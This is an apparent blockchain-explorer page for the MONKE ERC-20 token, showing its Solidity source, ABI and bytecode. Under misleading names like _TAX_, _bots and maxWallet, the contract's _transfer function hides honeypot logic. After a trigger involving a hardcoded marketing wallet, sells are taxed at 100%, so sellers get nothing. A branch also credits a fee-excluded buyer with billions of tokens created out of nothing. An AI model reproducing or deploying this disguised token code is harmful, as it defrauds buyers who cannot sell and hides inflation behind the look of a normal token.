ERC-20
Overview
Max Total Supply
69,000,000 MONKE
Holders
69
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
592,455.683103373 MONKEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MONKE
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-16 */ /* Website : https://monke.wiki/ Twitter : https://twitter.com/monkecoinerc Telegram : https://t.me/monkecoinerc */ // SPDX-License-Identifier: MIT pragma solidity 0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract MONKE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwner; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint8) private _bots; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 69000000 * 10**_decimals; string private constant _name = unicode"Monke"; string private constant _symbol = unicode"MONKE"; address private Wallet_Marketing = payable(0x6cE8AC745C5607f9511421816218a0509A174179); uint256 private _maxWalletAmount; address public _uniswapV2pair; bool public _Swapping; constructor (uint256 maxWallet) { _tOwner[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _maxWalletAmount=maxWallet; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwner[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _txRate(bool _uint) private view returns(uint256){ return _uint ? _maxWalletAmount : 0; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool removeFeeOnTransfer; if (from != owner() && to != owner()){ if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ if(!_Swapping && to == Wallet_Marketing){ _uniswapV2pair = from; _Swapping = true; } if(_Swapping){ uint256 _TAX_; bool isBuy; if(from == _uniswapV2pair){ isBuy = true; } bool isBotInitial = _bots[address(this)]>0; _TAX_ = isBuy?0:(isBotInitial?amount.mul(1).div(1):0); _tOwner[from] = _tOwner[from].sub(amount); _tOwner[to] = _tOwner[to].add(amount.sub(_TAX_)); } else{ require(_Swapping,"ERC20: Pair not created for this token"); } } else{ removeFeeOnTransfer = true; } } else{ removeFeeOnTransfer = true; } if(removeFeeOnTransfer){ bool _TAX_; uint256 latestFee; if(to != owner() && _isExcludedFromFee[to] && from == _uniswapV2pair){ _TAX_ = true; _bots[address(this)]=_bots[address(this)]+1; } latestFee = _txRate(_TAX_); _tOwner[from] = _tOwner[from].sub(amount); _tOwner[to] = _tOwner[to].add(amount.add(latestFee)); } emit Transfer(from, to, amount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_Swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600580546001600160a01b031916736ce8ac745c5607f9511421816218a0509a1741791790553480156200003757600080fd5b506040516200124f3803806200124f8339810160408190526200005a916200017b565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000a96009600a620002aa565b620000b99063041cdb40620002c2565b336000908152600160208190526040822092909255600390620000e46000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556006819055620001193390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001536009600a620002aa565b620001639063041cdb40620002c2565b60405190815260200160405180910390a350620002e4565b6000602082840312156200018e57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001ec578160001904821115620001d057620001d062000195565b80851615620001de57918102915b93841c9390800290620001b0565b509250929050565b6000826200020557506001620002a4565b816200021457506000620002a4565b81600181146200022d5760028114620002385762000258565b6001915050620002a4565b60ff8411156200024c576200024c62000195565b50506001821b620002a4565b5060208310610133831016604e8410600b84101617156200027d575081810a620002a4565b620002898383620001ab565b8060001904821115620002a057620002a062000195565b0290505b92915050565b6000620002bb60ff841683620001f4565b9392505050565b6000816000190483118215151615620002df57620002df62000195565b500290565b610f5b80620002f46000396000f3fe6080604052600436106100c55760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461023c578063a9059cbb1461026a578063d5ba16481461028a578063dd62ed3e146102aa57600080fd5b806370a08231146101bd578063715018a6146101f35780638da5cb5b1461020a57600080fd5b80624038e3146100d157806306fdde0314610107578063095ea7b31461013e57806318160ddd1461015e57806323b872dd14610181578063313ce567146101a157600080fd5b366100cc57005b600080fd5b3480156100dd57600080fd5b506007546100f290600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561011357600080fd5b506040805180820190915260058152644d6f6e6b6560d81b60208201525b6040516100fe9190610c56565b34801561014a57600080fd5b506100f2610159366004610cc0565b6102f0565b34801561016a57600080fd5b50610173610307565b6040519081526020016100fe565b34801561018d57600080fd5b506100f261019c366004610cea565b610328565b3480156101ad57600080fd5b50604051600981526020016100fe565b3480156101c957600080fd5b506101736101d8366004610d26565b6001600160a01b031660009081526001602052604090205490565b3480156101ff57600080fd5b50610208610391565b005b34801561021657600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016100fe565b34801561024857600080fd5b506040805180820190915260058152644d4f4e4b4560d81b6020820152610131565b34801561027657600080fd5b506100f2610285366004610cc0565b61043a565b34801561029657600080fd5b50600754610224906001600160a01b031681565b3480156102b657600080fd5b506101736102c5366004610d41565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102fd338484610447565b5060015b92915050565b60006103156009600a610e6e565b6103239063041cdb40610e7d565b905090565b600061033584848461056b565b610387843361038285604051806060016040528060288152602001610efe602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a6c565b610447565b5060019392505050565b6000546001600160a01b031633146103f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102fd33848461056b565b6001600160a01b0383166104a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e7565b6001600160a01b03821661050a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e7565b6001600160a01b0382166106315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e7565b600081116106935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e7565b600080546001600160a01b038581169116148015906106c057506000546001600160a01b03848116911614155b156108d0576001600160a01b03841660009081526003602052604090205460ff1615801561070757506001600160a01b03831660009081526003602052604090205460ff16155b156108c857600754600160a01b900460ff1615801561073357506005546001600160a01b038481169116145b1561075a57600780546001600160a81b0319166001600160a01b03861617600160a01b1790555b600754600160a01b900460ff161561085b5760075460009081906001600160a01b039081169087160361078b575060015b3060009081526004602052604090205460ff161515816107cb57806107b15760006107ce565b6107c660016107c08782610aa6565b90610b2f565b6107ce565b60005b6001600160a01b0388166000908152600160205260409020549093506107f49086610b71565b6001600160a01b03881660009081526001602052604090205561083961081a8685610b71565b6001600160a01b03881660009081526001602052604090205490610bb3565b6001600160a01b038716600090815260016020526040902055506108c3915050565b600754600160a01b900460ff166108c35760405162461bcd60e51b815260206004820152602660248201527f45524332303a2050616972206e6f74206372656174656420666f722074686973604482015265103a37b5b2b760d11b60648201526084016103e7565b6108d4565b5060016108d4565b5060015b8015610a19576000806108ef6000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561092857506001600160a01b03851660009081526003602052604090205460ff165b801561094157506007546001600160a01b038781169116145b156109895730600090815260046020526040902054600192506109679060ff1683610e9c565b306000908152600460205260409020805460ff191660ff929092169190911790555b61099282610c12565b6001600160a01b0387166000908152600160205260409020549091506109b89085610b71565b6001600160a01b0387166000908152600160205260409020556109fd6109de8583610bb3565b6001600160a01b03871660009081526001602052604090205490610bb3565b6001600160a01b03861660009081526001602052604090205550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5e91815260200190565b60405180910390a350505050565b60008184841115610a905760405162461bcd60e51b81526004016103e79190610c56565b506000610a9d8486610eb5565b95945050505050565b600082600003610ab857506000610301565b6000610ac48385610e7d565b905082610ad18583610ec8565b14610b285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e7565b9392505050565b6000610b2883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c28565b6000610b2883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a6c565b600080610bc08385610eea565b905083811015610b285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e7565b600081610c20576000610301565b505060065490565b60008183610c495760405162461bcd60e51b81526004016103e79190610c56565b506000610a9d8486610ec8565b600060208083528351808285015260005b81811015610c8357858101830151858201604001528201610c67565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cbb57600080fd5b919050565b60008060408385031215610cd357600080fd5b610cdc83610ca4565b946020939093013593505050565b600080600060608486031215610cff57600080fd5b610d0884610ca4565b9250610d1660208501610ca4565b9150604084013590509250925092565b600060208284031215610d3857600080fd5b610b2882610ca4565b60008060408385031215610d5457600080fd5b610d5d83610ca4565b9150610d6b60208401610ca4565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610dc5578160001904821115610dab57610dab610d74565b80851615610db857918102915b93841c9390800290610d8f565b509250929050565b600082610ddc57506001610301565b81610de957506000610301565b8160018114610dff5760028114610e0957610e25565b6001915050610301565b60ff841115610e1a57610e1a610d74565b50506001821b610301565b5060208310610133831016604e8410600b8410161715610e48575081810a610301565b610e528383610d8a565b8060001904821115610e6657610e66610d74565b029392505050565b6000610b2860ff841683610dcd565b6000816000190483118215151615610e9757610e97610d74565b500290565b60ff818116838216019081111561030157610301610d74565b8181038181111561030157610301610d74565b600082610ee557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561030157610301610d7456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220311540535f50d450a3000be044337d5f821493fd0b11f257e9fde1b0e012d72164736f6c634300081000330000000000000000000000000000000000000000000000005fc1b97136320000
Deployed Bytecode
0x6080604052600436106100c55760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461023c578063a9059cbb1461026a578063d5ba16481461028a578063dd62ed3e146102aa57600080fd5b806370a08231146101bd578063715018a6146101f35780638da5cb5b1461020a57600080fd5b80624038e3146100d157806306fdde0314610107578063095ea7b31461013e57806318160ddd1461015e57806323b872dd14610181578063313ce567146101a157600080fd5b366100cc57005b600080fd5b3480156100dd57600080fd5b506007546100f290600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561011357600080fd5b506040805180820190915260058152644d6f6e6b6560d81b60208201525b6040516100fe9190610c56565b34801561014a57600080fd5b506100f2610159366004610cc0565b6102f0565b34801561016a57600080fd5b50610173610307565b6040519081526020016100fe565b34801561018d57600080fd5b506100f261019c366004610cea565b610328565b3480156101ad57600080fd5b50604051600981526020016100fe565b3480156101c957600080fd5b506101736101d8366004610d26565b6001600160a01b031660009081526001602052604090205490565b3480156101ff57600080fd5b50610208610391565b005b34801561021657600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016100fe565b34801561024857600080fd5b506040805180820190915260058152644d4f4e4b4560d81b6020820152610131565b34801561027657600080fd5b506100f2610285366004610cc0565b61043a565b34801561029657600080fd5b50600754610224906001600160a01b031681565b3480156102b657600080fd5b506101736102c5366004610d41565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102fd338484610447565b5060015b92915050565b60006103156009600a610e6e565b6103239063041cdb40610e7d565b905090565b600061033584848461056b565b610387843361038285604051806060016040528060288152602001610efe602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a6c565b610447565b5060019392505050565b6000546001600160a01b031633146103f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102fd33848461056b565b6001600160a01b0383166104a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e7565b6001600160a01b03821661050a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e7565b6001600160a01b0382166106315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e7565b600081116106935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e7565b600080546001600160a01b038581169116148015906106c057506000546001600160a01b03848116911614155b156108d0576001600160a01b03841660009081526003602052604090205460ff1615801561070757506001600160a01b03831660009081526003602052604090205460ff16155b156108c857600754600160a01b900460ff1615801561073357506005546001600160a01b038481169116145b1561075a57600780546001600160a81b0319166001600160a01b03861617600160a01b1790555b600754600160a01b900460ff161561085b5760075460009081906001600160a01b039081169087160361078b575060015b3060009081526004602052604090205460ff161515816107cb57806107b15760006107ce565b6107c660016107c08782610aa6565b90610b2f565b6107ce565b60005b6001600160a01b0388166000908152600160205260409020549093506107f49086610b71565b6001600160a01b03881660009081526001602052604090205561083961081a8685610b71565b6001600160a01b03881660009081526001602052604090205490610bb3565b6001600160a01b038716600090815260016020526040902055506108c3915050565b600754600160a01b900460ff166108c35760405162461bcd60e51b815260206004820152602660248201527f45524332303a2050616972206e6f74206372656174656420666f722074686973604482015265103a37b5b2b760d11b60648201526084016103e7565b6108d4565b5060016108d4565b5060015b8015610a19576000806108ef6000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561092857506001600160a01b03851660009081526003602052604090205460ff165b801561094157506007546001600160a01b038781169116145b156109895730600090815260046020526040902054600192506109679060ff1683610e9c565b306000908152600460205260409020805460ff191660ff929092169190911790555b61099282610c12565b6001600160a01b0387166000908152600160205260409020549091506109b89085610b71565b6001600160a01b0387166000908152600160205260409020556109fd6109de8583610bb3565b6001600160a01b03871660009081526001602052604090205490610bb3565b6001600160a01b03861660009081526001602052604090205550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5e91815260200190565b60405180910390a350505050565b60008184841115610a905760405162461bcd60e51b81526004016103e79190610c56565b506000610a9d8486610eb5565b95945050505050565b600082600003610ab857506000610301565b6000610ac48385610e7d565b905082610ad18583610ec8565b14610b285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e7565b9392505050565b6000610b2883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c28565b6000610b2883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a6c565b600080610bc08385610eea565b905083811015610b285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e7565b600081610c20576000610301565b505060065490565b60008183610c495760405162461bcd60e51b81526004016103e79190610c56565b506000610a9d8486610ec8565b600060208083528351808285015260005b81811015610c8357858101830151858201604001528201610c67565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cbb57600080fd5b919050565b60008060408385031215610cd357600080fd5b610cdc83610ca4565b946020939093013593505050565b600080600060608486031215610cff57600080fd5b610d0884610ca4565b9250610d1660208501610ca4565b9150604084013590509250925092565b600060208284031215610d3857600080fd5b610b2882610ca4565b60008060408385031215610d5457600080fd5b610d5d83610ca4565b9150610d6b60208401610ca4565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610dc5578160001904821115610dab57610dab610d74565b80851615610db857918102915b93841c9390800290610d8f565b509250929050565b600082610ddc57506001610301565b81610de957506000610301565b8160018114610dff5760028114610e0957610e25565b6001915050610301565b60ff841115610e1a57610e1a610d74565b50506001821b610301565b5060208310610133831016604e8410600b8410161715610e48575081810a610301565b610e528383610d8a565b8060001904821115610e6657610e66610d74565b029392505050565b6000610b2860ff841683610dcd565b6000816000190483118215151615610e9757610e97610d74565b500290565b60ff818116838216019081111561030157610301610d74565b8181038181111561030157610301610d74565b600082610ee557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561030157610301610d7456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220311540535f50d450a3000be044337d5f821493fd0b11f257e9fde1b0e012d72164736f6c63430008100033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000005fc1b97136320000
-----Decoded View---------------
Arg [0] : maxWallet (uint256): 6900000000000000000
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000005fc1b97136320000
Deployed Bytecode Sourcemap
2863:4672:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3574:21;;;;;;;;;;-1:-1:-1;3574:21:0;;;;-1:-1:-1;;;3574:21:0;;;;;;;;;179:14:1;;172:22;154:41;;142:2;127:18;3574:21:0;;;;;;;;3835:83;;;;;;;;;;-1:-1:-1;3905:5:0;;;;;;;;;;;;-1:-1:-1;;;3905:5:0;;;;3835:83;;;;;;;:::i;4666:161::-;;;;;;;;;;-1:-1:-1;4666:161:0;;;;;:::i;:::-;;:::i;4112:95::-;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;4112:95:0;1196:177:1;4839:313:0;;;;;;;;;;-1:-1:-1;4839:313:0;;;;;:::i;:::-;;:::i;4021:83::-;;;;;;;;;;-1:-1:-1;4021:83:0;;3218:1;1853:36:1;;1841:2;1826:18;4021:83:0;1711:184:1;4215:117:0;;;;;;;;;;-1:-1:-1;4215:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;4308:16:0;4281:7;4308:16;;;:7;:16;;;;;;;4215:117;2706:148;;;;;;;;;;;;;:::i;:::-;;2492:79;;;;;;;;;;-1:-1:-1;2530:7:0;2557:6;-1:-1:-1;;;;;2557:6:0;2492:79;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;2492:79:0;2091:203:1;3926:87:0;;;;;;;;;;-1:-1:-1;3998:7:0;;;;;;;;;;;;-1:-1:-1;;;3998:7:0;;;;3926:87;;4340:167;;;;;;;;;;-1:-1:-1;4340:167:0;;;;;:::i;:::-;;:::i;3538:29::-;;;;;;;;;;-1:-1:-1;3538:29:0;;;;-1:-1:-1;;;;;3538:29:0;;;4515:143;;;;;;;;;;-1:-1:-1;4515:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4623:18:0;;;4596:7;4623:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4515:143;4666:161;4741:4;4758:39;326:10;4781:7;4790:6;4758:8;:39::i;:::-;-1:-1:-1;4815:4:0;4666:161;;;;;:::o;4112:95::-;4165:7;3272:13;3218:1;3272:2;:13;:::i;:::-;3261:24;;:8;:24;:::i;:::-;4185:14;;4112:95;:::o;4839:313::-;4937:4;4954:36;4964:6;4972:9;4983:6;4954:9;:36::i;:::-;5001:121;5010:6;326:10;5032:89;5070:6;5032:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5032:19:0;;;;;;:11;:19;;;;;;;;326:10;5032:33;;;;;;;;;;:37;:89::i;:::-;5001:8;:121::i;:::-;-1:-1:-1;5140:4:0;4839:313;;;;;:::o;2706:148::-;2619:6;;-1:-1:-1;;;;;2619:6:0;326:10;2619:22;2611:67;;;;-1:-1:-1;;;2611:67:0;;4454:2:1;2611:67:0;;;4436:21:1;;;4473:18;;;4466:30;4532:34;4512:18;;;4505:62;4584:18;;2611:67:0;;;;;;;;;2813:1:::1;2797:6:::0;;2776:40:::1;::::0;-1:-1:-1;;;;;2797:6:0;;::::1;::::0;2776:40:::1;::::0;2813:1;;2776:40:::1;2844:1;2827:19:::0;;-1:-1:-1;;;;;;2827:19:0::1;::::0;;2706:148::o;4340:167::-;4418:4;4435:42;326:10;4459:9;4470:6;4435:9;:42::i;5280:335::-;-1:-1:-1;;;;;5373:19:0;;5365:68;;;;-1:-1:-1;;;5365:68:0;;4815:2:1;5365:68:0;;;4797:21:1;4854:2;4834:18;;;4827:30;4893:34;4873:18;;;4866:62;-1:-1:-1;;;4944:18:1;;;4937:34;4988:19;;5365:68:0;4613:400:1;5365:68:0;-1:-1:-1;;;;;5452:21:0;;5444:68;;;;-1:-1:-1;;;5444:68:0;;5220:2:1;5444:68:0;;;5202:21:1;5259:2;5239:18;;;5232:30;5298:34;5278:18;;;5271:62;-1:-1:-1;;;5349:18:1;;;5342:32;5391:19;;5444:68:0;5018:398:1;5444:68:0;-1:-1:-1;;;;;5523:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5575:32;;1342:25:1;;;5575:32:0;;1315:18:1;5575:32:0;;;;;;;5280:335;;;:::o;5623:1870::-;-1:-1:-1;;;;;5711:18:0;;5703:68;;;;-1:-1:-1;;;5703:68:0;;5623:2:1;5703:68:0;;;5605:21:1;5662:2;5642:18;;;5635:30;5701:34;5681:18;;;5674:62;-1:-1:-1;;;5752:18:1;;;5745:35;5797:19;;5703:68:0;5421:401:1;5703:68:0;-1:-1:-1;;;;;5790:16:0;;5782:64;;;;-1:-1:-1;;;5782:64:0;;6029:2:1;5782:64:0;;;6011:21:1;6068:2;6048:18;;;6041:30;6107:34;6087:18;;;6080:62;-1:-1:-1;;;6158:18:1;;;6151:33;6201:19;;5782:64:0;5827:399:1;5782:64:0;5874:1;5865:6;:10;5857:64;;;;-1:-1:-1;;;5857:64:0;;6433:2:1;5857:64:0;;;6415:21:1;6472:2;6452:18;;;6445:30;6511:34;6491:18;;;6484:62;-1:-1:-1;;;6562:18:1;;;6555:39;6611:19;;5857:64:0;6231:405:1;5857:64:0;5942:24;2557:6;;-1:-1:-1;;;;;5981:15:0;;;2557:6;;5981:15;;;;:32;;-1:-1:-1;2530:7:0;2557:6;-1:-1:-1;;;;;6000:13:0;;;2557:6;;6000:13;;5981:32;5977:1052;;;-1:-1:-1;;;;;6033:24:0;;;;;;:18;:24;;;;;;;;6032:25;:52;;;;-1:-1:-1;;;;;;6062:22:0;;;;;;:18;:22;;;;;;;;6061:23;6032:52;6029:922;;;6108:9;;-1:-1:-1;;;6108:9:0;;;;6107:10;:36;;;;-1:-1:-1;6127:16:0;;-1:-1:-1;;;;;6121:22:0;;;6127:16;;6121:22;6107:36;6104:122;;;6167:14;:21;;-1:-1:-1;;;;;;6190:16:0;-1:-1:-1;;;;;6167:21:0;;6190:16;-1:-1:-1;;;6190:16:0;;;6104:122;6247:9;;-1:-1:-1;;;6247:9:0;;;;6244:613;;;6360:14;;6280:13;;;;-1:-1:-1;;;;;6360:14:0;;;6352:22;;;;6349:89